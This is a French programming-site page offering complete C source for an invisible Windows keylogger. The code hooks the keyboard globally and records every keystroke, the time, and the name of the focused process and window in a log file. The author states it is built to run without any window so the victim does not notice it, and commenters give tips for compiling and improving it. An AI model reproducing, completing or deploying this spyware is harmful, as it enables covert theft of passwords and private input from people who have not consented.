begin process at 2013 05 19 18:42:09
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Système

 > KEYLOGGER AVEC NOM DU PROCESSUS ET DE LA FENETRE QUI A LE FOCUS

KEYLOGGER AVEC NOM DU PROCESSUS ET DE LA FENETRE QUI A LE FOCUS


 Information sur la source

Note :
8 / 10 - par 1 personne
8,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Système Classé sous :keylogger, hook, nom processus, nom fenetre Niveau :Initié Date de création :03/03/2011 Vu / téléchargé :9 274 / 704

Auteur : wisar

Ecrire un message privé
Commentaire sur cette source (6)
Ajouter un commentaire et/ou une note

 Description

j'ai repris le code du keylogger sans dll de kerneltony95.
merci a lui d'ailleurs.
le nom du processus ainsi que le nom de la fenetre qui a le focus pendant la saisie
j'ai rajouter l'heure ou la saisie a ete effectuer et le tout inscrit dans un fichier txt.
Dans le projet code::blocks donne dans le zip il n'y a pas de fenêtre ni console pour que le keylogger soit invisible(sinon je vois pas a quoi sert un keylogger)

Source

  • #include <windows.h>
  • #include <stdio.h>
  • #include <stdlib.h>
  • #include <psapi.h>
  • #include <time.h>
  • #define CHEMINDULOG "log.txt"//constante ou est stoquer le chemin du fichier log
  • // Global instance du hook
  • HHOOK hKeyHook;
  • HWND AncienHandle;
  • FILE *log;
  • tm DonneHeure();//recupere l'heure systeme, renvoie une structre de type tm
  • bool Erreur=false;
  • // Gestion du hook
  • __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam )
  • {
  • tm Heure;
  • // Action du clavier et les touches tappées
  • if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
  • {
  • // conversion du code -> ascii
  • BYTE KeyState[256];
  • WORD wBuf;
  • char ch;
  • char NomProcess[1024];
  • char NomFenetre[1024];
  • DWORD lpdwProcessId;
  • HANDLE PID;
  • // Structure pour récupération des informations
  • KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
  • /* Traitement récupération dec codes des touches */
  • // Etat du clavier
  • GetKeyboardState(KeyState);
  • // Conversion code > ascii
  • ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
  • //on rajoute les touches non traitées par le hook
  • switch (hooked.vkCode)
  • {
  • case 9 :
  • {
  • fprintf(log,"<TAB>");
  • break;
  • }
  • case 13 :
  • {
  • fprintf(log,"\n");
  • AncienHandle=0;
  • break;
  • }
  • case VK_BACK :
  • {
  • fprintf(log,"<DEL>");
  • break;
  • }
  • case VK_DELETE:
  • {
  • fprintf(log,"<Suppr>");
  • break;
  • }
  • /* vous pouvez rajouter vos traitements perso ici ! */
  • default : // on affiche les touches tappées
  • {
  • ch=((char)wBuf);
  • HWND Handle=GetForegroundWindow();//on recupere le handle de la fenetre qui a le focus
  • if (Handle!=AncienHandle)//si le handle est different du dernier alors on a changer de fenetre
  • {
  • fclose(log);//on ferme le log pour que les donnee soient reelement ecrite dedans
  • log=fopen(CHEMINDULOG,"a+");//on le réouvre(je sais c'estun peu barbare)
  • if (log!=NULL)
  • {
  • NomProcess[0]='\n';//on met en premiere caractere un retour chariot pour qu'il y est bien retour a la ligne avaant d'ecrire la nouvelle ligne
  • NomFenetre[0]='\0';//pour s'assurer de ne pas ecrire autre chose.
  • Heure=DonneHeure();//on recup l'heure
  • fprintf(log,"\n%d:%d:%d: ",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);//on l'ecrit
  • GetWindowThreadProcessId(Handle,&lpdwProcessId);//on recupere l'id du thread d'apres son handle
  • PID=OpenProcess(PROCESS_ALL_ACCESS,false,lpdwProcessId);//on recupere le PID du processus auquel apartient le thread ci-dessus
  • if (PID!=NULL)
  • {
  • GetModuleBaseName(PID,NULL,NomProcess,sizeof NomProcess);//on recupere le nom du processus d'apres son PID
  • }
  • else
  • {
  • strcat(NomProcess,"<Inconnu>");//si cela a echoue on met inconnu
  • }
  • NomFenetre[0]='\0';
  • GetWindowText(Handle,NomFenetre,sizeof NomFenetre);//ici on recupere le nom de la fenetre
  • strcat(NomProcess,">");
  • strcat(NomProcess,NomFenetre);
  • strcat(NomProcess,": ");
  • fprintf(log,"%s",NomProcess);//on ecrit le tout
  • AncienHandle=Handle;//on met a jour le nouveau handle pour le comparer au prochaine
  • }
  • else
  • {
  • Erreur=true;
  • return 0;
  • }
  • }
  • fprintf(log,"%c",ch);//on ecrit le caractere qui a ete saisie au clavier
  • break;
  • }
  • }
  • }
  • // Renvoi des messages au sytème
  • return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
  • }
  • // Boucle des messages
  • void MsgLoop()
  • {
  • MSG message;
  • while ((GetMessage(&message,NULL,0,0))&&(Erreur!=true))
  • {
  • TranslateMessage( &message );
  • DispatchMessage( &message );
  • }
  • }
  • DWORD WINAPI KeyLogger(LPVOID lpParameter)
  • {
  • // Récuperation de l'instance de notre executable
  • HINSTANCE hExe = GetModuleHandle(NULL);
  • if (!hExe) return 1;
  • // on demarre le hook
  • hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, 0);
  • tm Heure=DonneHeure();
  • if (hKeyHook==NULL)
  • {
  • fprintf(log,"\n[le hook clavier a plante a ");
  • fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
  • Erreur=true;
  • }
  • else
  • {
  • fprintf(log,"\n[La surveillance a demarre a ");
  • fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
  • }
  • // Boucle des messages
  • MsgLoop();
  • // on desactive le hook
  • Heure=DonneHeure();
  • if (UnhookWindowsHookEx(hKeyHook)==0)
  • {
  • fprintf(log,"\n[desactivation du Hook echoue a ");
  • fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
  • }
  • else
  • {
  • fprintf(log,"\n[Desactivation du hook a ");
  • fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
  • }
  • return 0;
  • }
  • int main(int argc, char *argv[])
  • {
  • // initialisation des options pour la fonction CreateThread
  • HANDLE hThread;
  • DWORD dwThread;
  • log=fopen(CHEMINDULOG,"r");
  • if (log==NULL)
  • {
  • log=fopen(CHEMINDULOG,"a+");
  • fprintf(log,"\t\t\t[keylogger clavier]\n");
  • if (log==NULL)
  • {
  • Erreur=true;
  • return 1;
  • }
  • }
  • // on crée le thread qui va démarrer le hook
  • hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, 0, &dwThread);
  • if (hThread)
  • {
  • // Attente à l'infini
  • return WaitForSingleObject(hThread,INFINITE);
  • }
  • else
  • {
  • return 0;
  • }
  • fclose(log);
  • }
  • tm DonneHeure()
  • {
  • time_t Timer;
  • time(&Timer);
  • struct tm *Heure;
  • Heure = localtime(&Timer);
  • return *Heure;
  • }
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <psapi.h>
#include <time.h>
#define CHEMINDULOG "log.txt"//constante ou est stoquer le chemin du fichier log


// Global instance du hook
HHOOK hKeyHook;
HWND AncienHandle;
FILE *log;
tm DonneHeure();//recupere l'heure systeme, renvoie une structre de type tm
bool Erreur=false;

// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam )
{
    tm Heure;

    // Action du clavier et les touches tappées
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
    {

        // conversion du code -> ascii
        BYTE KeyState[256];
        WORD wBuf;
        char ch;
        char NomProcess[1024];
        char NomFenetre[1024];

        DWORD lpdwProcessId;
        HANDLE PID;

        // Structure pour récupération des informations
        KBDLLHOOKSTRUCT hooked =  *((KBDLLHOOKSTRUCT*)lParam);

        /* Traitement récupération dec codes des touches */

        // Etat du clavier
        GetKeyboardState(KeyState);

        // Conversion code > ascii
        ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);

        //on rajoute les touches non traitées par le hook
        switch (hooked.vkCode)
        {

        case 9 :
        {

            fprintf(log,"<TAB>");


            break;
        }
        case 13 :
        {

            fprintf(log,"\n");
            AncienHandle=0;
            break;
        }
        case VK_BACK :
        {

            fprintf(log,"<DEL>");


            break;
        }
        case VK_DELETE:
        {

            fprintf(log,"<Suppr>");

            break;
        }

        /* vous pouvez rajouter vos traitements perso ici ! */

        default :   // on affiche les touches tappées
        {
            ch=((char)wBuf);
            HWND Handle=GetForegroundWindow();//on recupere le handle de la fenetre qui a le focus

            if (Handle!=AncienHandle)//si le handle est different du dernier alors on a changer de fenetre
            {
                fclose(log);//on ferme le log pour que les donnee soient reelement ecrite dedans
                log=fopen(CHEMINDULOG,"a+");//on le réouvre(je sais c'estun peu barbare)
                if (log!=NULL)
                {
                    NomProcess[0]='\n';//on met en premiere caractere un retour chariot pour qu'il y est bien retour a la ligne avaant d'ecrire la nouvelle ligne
                    NomFenetre[0]='\0';//pour s'assurer de ne pas ecrire autre chose.
                    Heure=DonneHeure();//on recup l'heure
                    fprintf(log,"\n%d:%d:%d:    ",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);//on l'ecrit
                    GetWindowThreadProcessId(Handle,&lpdwProcessId);//on recupere l'id du thread d'apres son handle
                    PID=OpenProcess(PROCESS_ALL_ACCESS,false,lpdwProcessId);//on recupere le PID du processus auquel apartient le thread ci-dessus
                    if (PID!=NULL)
                    {
                        GetModuleBaseName(PID,NULL,NomProcess,sizeof NomProcess);//on recupere le nom du processus d'apres son PID
                    }
                    else
                    {
                        strcat(NomProcess,"<Inconnu>");//si cela a echoue on met inconnu
                    }



                    NomFenetre[0]='\0';
                    GetWindowText(Handle,NomFenetre,sizeof NomFenetre);//ici on recupere le nom de la fenetre
                    strcat(NomProcess,">");
                    strcat(NomProcess,NomFenetre);
                    strcat(NomProcess,":   ");
                    fprintf(log,"%s",NomProcess);//on ecrit le tout

                    AncienHandle=Handle;//on met a jour le nouveau handle pour le comparer au prochaine
                }
                else
                {
                    Erreur=true;
                    return 0;
                }

            }
            fprintf(log,"%c",ch);//on ecrit le caractere qui a ete saisie au clavier
            break;
        }

        }


    }
    // Renvoi des messages au sytème
    return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}


// Boucle des messages
void MsgLoop()
{
    MSG message;
    while ((GetMessage(&message,NULL,0,0))&&(Erreur!=true))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}


DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    // Récuperation de l'instance de notre executable
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) return 1;

    // on demarre le hook
    hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, 0);
    tm Heure=DonneHeure();

    if (hKeyHook==NULL)
    {
        fprintf(log,"\n[le hook clavier a plante a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
        Erreur=true;
    }
    else
    {
        fprintf(log,"\n[La surveillance a demarre a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
    }

    // Boucle des messages
    MsgLoop();

    // on desactive le hook
    Heure=DonneHeure();
    if (UnhookWindowsHookEx(hKeyHook)==0)
    {
        fprintf(log,"\n[desactivation du Hook echoue a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
    }
    else
    {
        fprintf(log,"\n[Desactivation du hook a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
    }

    return 0;
}


int main(int argc, char *argv[])
{
    // initialisation des options pour la fonction CreateThread
    HANDLE hThread;
    DWORD dwThread;
    log=fopen(CHEMINDULOG,"r");
    if (log==NULL)
    {
        log=fopen(CHEMINDULOG,"a+");
        fprintf(log,"\t\t\t[keylogger clavier]\n");

        if (log==NULL)
        {
            Erreur=true;
            return 1;
        }
    }



    // on crée le thread qui va démarrer le hook
    hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, 0, &dwThread);

    if (hThread)
    {
        // Attente à l'infini
        return WaitForSingleObject(hThread,INFINITE);
    }
    else
    {
        return 0;
    }
    fclose(log);

}


tm DonneHeure()
{
    time_t Timer;
    time(&Timer);
    struct tm *Heure;
    Heure = localtime(&Timer);
    return *Heure;
}



 Conclusion

j'ai juste rajouter se qui me semble important dans un keylogger a savoir le nom de la fenêtre et du processus qui a reçu la saisie au clavier car par exemple le toys n'a pas la même signification sur un site pour enfant que sur un site pour adulte lol.
Pour se qui est du fait de fermer et de réouvrir juste après c'est le seul moyen que j'ai trouver pour que les info soit réellement écrit dans le log sans attendre la fin du programme (avec le fclose(log));

Sur ceux je suis ouvert a toute remarque constructive.

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !
  •   keylogger
    •   bin
      • Debug
    •   obj
      •   Debug
        • main.oTélécharger ce fichier [Réservé aux membres club]722 937 octets
    • logger.cbpTélécharger ce fichier [Réservé aux membres club]1 227 octets
    • logger.dependTélécharger ce fichier [Réservé aux membres club]155 octets
    • logger.layoutTélécharger ce fichier [Réservé aux membres club]240 octets
    • main.cppTélécharger ce fichier [Réservé aux membres club]Voir ce fichier6 543 octets

Télécharger le zip


 Sources du même auteur

Source avec Zip PETITE CLASSE DE GESTION DES PROCESSUS SOUS WINDOWS
Source avec Zip MINICHAT MULTI-CLIENT

 Sources de la même categorie

Source avec Zip Source avec une capture OBTENIR DANS UN FICHIER LE CONTENU D'UN DOSSIER WINDOWS par pgl10
Source avec Zip Source avec une capture INFORMATION PROCESSEUR (CPUID) par Devils_Tiger
Source avec Zip Source avec une capture LECTURE TEMPÉRATURE PROCESSEUR par Devils_Tiger
Source avec Zip Source avec une capture LECTURE FRÉQUENCE PROCESSEUR par Devils_Tiger
Source avec Zip DETECTEUR EJP par idpro

 Sources en rapport avec celle ci

Source avec Zip Source avec une capture QXTAPPLICATION - RACCOURCI BLAGUE par shorzy
Source avec Zip KEYLOGGER INVISIBLE par f_l_a_s_h_b_a_c_k
Source avec Zip HOOK SANS DLL BLOQUANT LE DOUBLE CLICK par Leucistic
Source avec Zip Source avec une capture KEYLOGGER SERVEUR/CLIENT par yann2192
Source avec Zip Source avec une capture KEYLOGGER HOOK CLAVIER (SANS DLL) par kerneltony95

Commentaires et avis

Commentaire de omnia le 09/03/2011 16:29:25

Bonjour,  désolé mais ce genre de code il y en a pas mal, sachant qu'ils sont tous identiques...

Commentaire de wisar le 09/03/2011 16:44:26

j'ai pas trop vu de keylogger qui donne le nom du processus et de la fenêtre ou sont récup les saisies

Commentaire de darkbatcher le 15/03/2011 05:50:33

pour ecrire les information sans fermer le fichier:

[code=ccp]#include <stdio.h>
int fflush(FILE* stream); //flush file buffer[/CODE]

@+

Commentaire de wisar le 23/03/2011 18:43:50

ah merci pour cette info que me sera tres utile

Commentaire de ssx2 le 29/07/2012 21:19:14

Bonjour,

J'ai quelque questions à vous poser au sujet de votre code
tout d'abord merci je cherchais ce code depuis longtemps...

en gros le problème c'est que je le compile avec dev c++ et à la fin sa me met build error...
je voulais savoir si vous pourriez m'aider à trouver le problème


Merci d'avance  

Commentaire de bastien112 le 30/07/2012 02:42:12 8/10

Essaye plutôt avec Microsoft Visual C++ 2010 Express (gratuit), moi ça fonctionne parfaitement

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

keylogger [ par error ] donc voila je voudrait savoir s'y il y a moyen de faire un keylloger/prog qui eregistre les tuche taper au clavier en c++merci ++ Keylogger [ par glipper ] Bonjour,J'aimerais juste faire un petit keylogger (rassurez vous ce n'est pas mechant, c'est juste pour moi), mais j'ai quelques problemes. Voici la p hook sur la touche entrée [ par Anacr0x ] voila mon problème, jme suis aidé avec la source de BruNews pour faire ce code mais ca ne marche pas !// le HOOK LOCAL est ICILRESULT CALLBACK GetMsgP hook global [ par Xentor609 ] Salut,Je sais bien que ca enerve certain les questions sur les hooks, mais al trouve vraiment pas.Je souhaiterais placer un hook sur le clavier, pour kesk1 hook? [ par melkiorlenecrarque ] alu!ben C tout simple!kesk1 hook et a koi sa sert?merci Hook sur fenêtre "Enregistrer sous" [ par annplop ] Bonjour,je souhaite intercepter une fenêtre "enregistrer sous", et remplir les différents champs:"Enregistrer dans""Nom de l'objet""type"Est-ce quelqu Hook [ par Anacr0x ] Salut tt le monde,j'ai juste une petite question :lorsqu'on crée un hook, on intercepte les message, mais ya-t-il un moyen de les bloqué totalement ?J Hook sur WSAsend ? [ par 83ron ] Lut tous le monde touts d'abord ^^.Voila, j'aimerais fair un prog qui intercepete les message d'une application transmis via les Sockets. Donc je voul HOOK - Help [DevCPP] [ par guitoulefoux ] Bonjour,J'essaye de faire un hook (mon 1er) mais a chaque fois qu'il se lance j'ai un pb d'affectation mémoire.en fait le HOOK récupère les actions cl Hook intercepté ?? [ par mlarrere ] Je souhaite utiliser un hook keyboard pour intercepter des touches et les renvoyers différemment.C'est un hook global (DLL) car c'est pour une appli e


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mai 2013
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Photothèque

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 4,774 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales